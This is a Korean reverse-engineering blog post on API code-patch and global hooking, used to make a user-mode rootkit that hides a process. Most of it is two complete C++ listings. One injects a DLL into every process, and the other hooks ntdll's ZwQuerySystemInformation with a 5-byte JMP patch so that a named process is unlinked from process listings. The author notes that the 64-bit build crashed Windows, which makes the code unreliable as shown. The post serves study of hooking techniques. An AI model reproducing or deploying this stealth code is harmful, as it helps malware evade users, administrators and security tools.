본문 바로가기

High Level Technique/Reversing

API Hooking - API Code Patch, Global Hooking

API Hooking - API Code Patch, Global Hooking


API Code Patch, Global Hooking을 이용한 Stealth Process(Rootkit) 기법에 대해서 알아보도록 하겠습니다.









API Code Patch 원리


Code Patch 방식은 실제 API 코드 시작 5바이트 값을 JMP XXXX 명령어로 패치하는 방식입니다.

Hooking된 API가 호출되면 JMP XXXX 명령어가 실행되어 후킹 함수로 제어가 넘어옵니다.

Code Patch는 프로세스에서 사용되는 어떤 API라도 후킹을 할 수 있습니다. 제한사항으로는 API 코드의 길이가 최소 5바이트 보다 커야 한다는 것.

하지만 API의 코드 크기는 5바이트 보다 크기 때문에 사실상 제한이 없다.


※ 프로세스의 다른 Thread에서 어떤 함수를 read()하고 있을 때 코드 패치를 시도하면 Access Violation Error가 발생할 수 있습니다. 












Stealth Process


Stealth Process를 할 때 가장 많이 사용되는 것이 User Mode에서 ntdll.ZwQuerySystemInformation() 입니다.


일반적으로 User Mode에서 프로세스를 검색하기 위한 API는 CreateToolhelp32Snapshot()과 EnumProcess() 입니다.

이 두가지 API는 ZwQuerySystemInformation()을 호출하기 때문에 이 API를 후킹 하면 됩니다.


ZwQuerySystemInformation()을 이용하면 실행 중인 모든 프로세스의 정보를 링크드 리스트 형식으로 얻을 수 있다. 이 링크드 리스트를 조작하면 해당 프로세스는 은폐가 되는 것.



문제점


은폐하고자 하는 프로그램을 stealth.exe라고 한다면 stealth.exe의 ZwQuerySystemInformation()을 후킹하는게 아니라 작업관리자의 ZwQuerySystemInformatioin()을 후킹하여 stealth.exe 프로그램을 찾지 못하게 하는 것입니다.


문제점은 작업관리자1은 후킹이 되어 stealth.exe를 찾지 못하게 만들었지만 작업관리자2를 새로 실행시켜 후킹이 되어있지 않으면 stealth.exe는 노출되게 됩니다.



해결 방안


따라서 새로 실행되는 작업관리자(또는 Process Explorer)에서도 모두 보여지면 안되기 때문에 Global Hooking을 이용해야 합니다.

시스템 전체에 Hooking을 한다고 해서 Global Hooking이라고 합니다.














ZwQuerySystemInformation() https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms725506(v=vs.85).aspx


SystemInformationClass 파라미터를 SystemProcessInformation(5)로 세팅하고,  ZwQuerySystemInformation()을 호출하면 SystemInformation 파리미터에 SYSTEM_PROCESS_INFOMATION 단방향 링크드 리스트의 시작 주소가 저장된다.


이 링크드 리스트에 실행 중인 모든 프로세스의 정보가 담겨 있는데, 은폐하고 싶은 프로세스에 해당하는 리스트 멤버를 찾아서 리스트 연결을 끊어버리면 된다.


<HideProc.cpp>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <tchar.h>
 
typedef void (*PFN_SetProcName)(LPCTSTR szProcName);
enum {INJECTION_MODE = 0, EJECTION_MODE};
 
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) 
{
    TOKEN_PRIVILEGES tp;
    HANDLE hToken;
    LUID luid;
 
    if!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) )
    {
        printf("OpenProcessToken error: %u\n", GetLastError());
        return FALSE;
    }
 
    if!LookupPrivilegeValue(NULL,            // lookup privilege on local system
                              lpszPrivilege,   // privilege to lookup 
                              &luid) )        // receives LUID of privilege
    {
        printf("LookupPrivilegeValue error: %u\n", GetLastError() ); 
        return FALSE; 
    }
 
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if( bEnablePrivilege )
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;
 
    // Enable the privilege or disable all privileges.
    if!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) )
    { 
        printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); 
        return FALSE; 
    } 
 
    if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
    {
        printf("The token does not have the specified privilege. \n");
        return FALSE;
    } 
 
    return TRUE;
}
 
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
    HANDLE                  hProcess, hThread;
    LPVOID                  pRemoteBuf;
    DWORD                   dwBufSize = (DWORD)(_tcslen(szDllPath) + 1* sizeof(TCHAR);
    LPTHREAD_START_ROUTINE  pThreadProc;
 
    if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
    {
        printf("OpenProcess(%d) failed!!!\n", dwPID);
        return FALSE;
    }
 
    pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
 
    WriteProcessMemory(hProcess, pRemoteBuf,(LPVOID)szDllPath, dwBufSize, NULL);
 
    pThreadProc = (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
    hThread = CreateRemoteThread(hProcess, NULL0, pThreadProc, pRemoteBuf, 0NULL);
    WaitForSingleObject(hThread, INFINITE);    
 
    VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
 
    CloseHandle(hThread);
    CloseHandle(hProcess);
 
    return TRUE;
}
 
BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
    BOOL                    bMore = FALSE, bFound = FALSE;
    HANDLE                  hSnapshot, hProcess, hThread;
    MODULEENTRY32           me = { sizeof(me) };
    LPTHREAD_START_ROUTINE  pThreadProc;
 
    if( INVALID_HANDLE_VALUE == (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) )
        return FALSE;
 
    bMore = Module32First(hSnapshot, &me);
    for( ; bMore ; bMore = Module32Next(hSnapshot, &me) )
    {
        if!_tcsicmp(me.szModule, szDllPath) || !_tcsicmp(me.szExePath, szDllPath) )
        {
            bFound = TRUE;
            break;
        }
    }
 
    if!bFound )
    {
        CloseHandle(hSnapshot);
        return FALSE;
    }
 
    if!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
    {
        CloseHandle(hSnapshot);
        return FALSE;
    }
 
    pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary");
    hThread = CreateRemoteThread(hProcess, NULL0, pThreadProc, me.modBaseAddr, 0NULL);
    WaitForSingleObject(hThread, INFINITE);    
 
    CloseHandle(hThread);
    CloseHandle(hProcess);
    CloseHandle(hSnapshot);
 
    return TRUE;
}
 
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
    DWORD                   dwPID = 0;
    HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;
    PROCESSENTRY32          pe;
 
    // System Snapshot
    pe.dwSize = sizeof( PROCESSENTRY32 );
    hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
 
    // Search Process
    Process32First(hSnapShot, &pe);
    do
    {
        dwPID = pe.th32ProcessID;
 
        // PID가 100보다 작은 것은 Injection을 하지 않는다. System Process에는 Injection을 하지 않는다.
        if( dwPID < 100 )
            continue;
 
        if( nMode == INJECTION_MODE )
            InjectDll(dwPID, szDllPath);
        else
            EjectDll(dwPID, szDllPath);
    }
    while( Process32Next(hSnapShot, &pe) );
 
    CloseHandle(hSnapShot);
 
    return TRUE;
}
 
int _tmain(int argc, TCHAR* argv[])
{
    int nMode = INJECTION_MODE;
    HMODULE hLib = NULL;
    PFN_SetProcName SetProcName = NULL;
 
    if( argc != 4 )
    {
        printf("\n Usage  : HideProc.exe <-hide|-show> "\
               "<process name> <dll path>\n\n");
        return 1;
    }
 
    // change privilege
    SetPrivilege(SE_DEBUG_NAME, TRUE);
 
    // load library
    hLib = LoadLibrary(argv[3]);
 
    // set process name to hide
    SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName");
    SetProcName(argv[2]);
 
    // Inject(Eject) Dll to all process
    if!_tcsicmp(argv[1], L"-show") )
        nMode = EJECTION_MODE;
 
    InjectAllProcess(nMode, argv[3]);
 
    // free library
    FreeLibrary(hLib);
 
    return 0;
}
 
cs


<stealth.cpp>


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
#include <windows.h>
#include <tchar.h>
 
#define STATUS_SUCCESS                        (0x00000000L) 
 
typedef LONG NTSTATUS;
 
typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemPerformanceInformation = 2,
    SystemTimeOfDayInformation = 3,
    SystemProcessInformation = 5,
    SystemProcessorPerformanceInformation = 8,
    SystemInterruptInformation = 23,
    SystemExceptionInformation = 33,
    SystemRegistryQuotaInformation = 37,
    SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
 
typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    BYTE Reserved1[48];
    PVOID Reserved2[3];
    HANDLE UniqueProcessId;
    PVOID Reserved3;
    ULONG HandleCount;
    BYTE Reserved4[4];
    PVOID Reserved5[11];
    SIZE_T PeakPagefileUsage;
    SIZE_T PrivatePageCount;
    LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
 
typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)
                 (SYSTEM_INFORMATION_CLASS SystemInformationClass, 
                  PVOID SystemInformation, 
                  ULONG SystemInformationLength, 
                  PULONG ReturnLength);
 
#define DEF_NTDLL                       ("ntdll.dll")
#define DEF_ZWQUERYSYSTEMINFORMATION    ("ZwQuerySystemInformation")
 
// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE"// 공유 메모리 섹션
    TCHAR g_szProcName[MAX_PATH] = {0,}; // 은폐하는 프로세스 이름을 저장.
#pragma data_seg()
 
// global variable
BYTE g_pOrgBytes[5= {0,};
 
 
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
    /*    szDllName : 후킹하려는 API가 포함된 DLL 파일 이름.
        szFuncName : 후킹하려는 API 이름.
        pfnNew : 사용자가 제공한 후킹 함수 주소.
        pOrgBytes : 원본 5바이트를 저장시킬 버퍼 - 언훅에서 사용됨.
    */
 
    FARPROC pfnOrg;
    DWORD dwOldProtect, dwAddress;
    BYTE pBuf[5= {0xE90, };
    PBYTE pByte;
 
    // 후킹 대상 API 주소를 구한다
    pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
    pByte = (PBYTE)pfnOrg;
 
    // 만약 이미 후킹 되어 있다면 return FALSE
    if( pByte[0== 0xE9 ) // JMP Hex Value 0xE9
        return FALSE;
 
    // 5 byte 패치를 위하여 메모리에 WRITE 속성 추가
    VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
 
    // 기존 코드 (5 byte) 백업
    memcpy(pOrgBytes, pfnOrg, 5);
 
    // JMP 주소 계산 (E9 XXXX)
    // => XXXX = 사용자가 만든 함수 주소(pfnNew) - 원래 API 주소(pfnOrg) - 5
    // 5를 빼주는 이유는 JMP 명령어 자체 길이 5바이트를 보정 해주는 것.
    // CPU가 명령어 포인터를 계산 할 때 + 5를 한다. http://eram.tistory.com/entry/API-Hooking-x86
    dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
    memcpy(&pBuf[1], &dwAddress, 4);
 
    // Hook - 5 byte 패치 (JMP XXXX)
    memcpy(pfnOrg, pBuf, 5);
 
    // 메모리 속성 복원
    VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);
    
    return TRUE;
}
 
 
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
    FARPROC pFunc;
    DWORD dwOldProtect;
    PBYTE pByte;
 
    // API 주소 구한다
    pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
    pByte = (PBYTE)pFunc;
 
    // 만약 이미 언후킹 되어 있다면 return FALSE
    if( pByte[0!= 0xE9 )
        return FALSE;
 
    // 원래 코드(5 byte)를 덮어쓰기 위해 메모리에 WRITE 속성 추가
    VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
 
    // Unhook
    memcpy(pFunc, pOrgBytes, 5);
 
    // 메모리 속성 복원
    VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
 
    return TRUE;
}
 
 
NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
{
    NTSTATUS status;
    FARPROC pFunc;
    PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
    char szProcName[MAX_PATH] = {0,};
    
    // 작업 전에 unhook
    unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);
 
    // original API 호출
    pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL), 
                           DEF_ZWQUERYSYSTEMINFORMATION);
    status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
              (SystemInformationClass, SystemInformation, 
              SystemInformationLength, ReturnLength);
 
    if( status != STATUS_SUCCESS )
        goto __NTQUERYSYSTEMINFORMATION_END;
 
    // SystemProcessInformation 인 경우만 작업함
    if( SystemInformationClass == SystemProcessInformation )
    {
        // SYSTEM_PROCESS_INFORMATION 타입 캐스팅
        // pCur 는 single linked list 의 head
        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
 
        while(TRUE)
        {
            // 프로세스 이름 비교
            // g_szProcName = 은폐하려는 프로세스 이름
            // (=> SetProcName() 에서 세팅됨)
            if(pCur->Reserved2[1!= NULL)
            {
                if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
                {
                    // 연결 리스트에서 은폐 프로세스 제거
                    if(pCur->NextEntryOffset == 0)
                        pPrev->NextEntryOffset = 0;
                    else
                        pPrev->NextEntryOffset += pCur->NextEntryOffset;
                }
                else        
                    pPrev = pCur;
            }
 
            if(pCur->NextEntryOffset == 0)
                break;
 
            // 연결 리스트의 다음 항목
            pCur = (PSYSTEM_PROCESS_INFORMATION)
                    ((ULONG)pCur + pCur->NextEntryOffset);
        }
    }
 
__NTQUERYSYSTEMINFORMATION_END:
 
    // 함수 종료 전에 다시 API Hooking
    hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, 
                 (PROC)NewZwQuerySystemInformation, g_pOrgBytes);
 
    return status;
}
 
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    char            szCurProc[MAX_PATH] = {0,};
    char            *= NULL;
 
    // 현재 프로그램은 Hooking 예외
    GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
    p = strrchr(szCurProc, '\\');
    if( (p != NULL&& !_stricmp(p+1"HideProc.exe") )
        return TRUE;
 
    switch( fdwReason )
    {
        // API Hooking
        case DLL_PROCESS_ATTACH : 
        hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, (PROC)NewZwQuerySystemInformation, g_pOrgBytes);
        break;
 
        // API Unhooking 
        case DLL_PROCESS_DETACH :
        unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);
        break;
    }
 
    return TRUE;
}
 
 
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexportvoid SetProcName(LPCTSTR szProcName)
{
    _tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif
cs


모두 64비트로 컴파일 해서 notepad.exe를 숨기고자 실행을 했는데, Windows가 뻑나서 재부팅 됩니다.




자세한 내용은 http://eram.tistory.com/entry/API-Hooking-x86 여기서 확인하시길...





일단 API Hooking 부분은 패스... 너무 진도가 안나간다.

'High Level Technique > Reversing' 카테고리의 다른 글

WinDBG명령어와 분석방법  (0) 2016.07.26
64비트에서 달라진 점  (0) 2016.07.26
API Hooking - IAT Hooking  (3) 2016.07.25
API Hooking - Debug Technique  (0) 2016.07.19
API Hooking  (0) 2016.07.19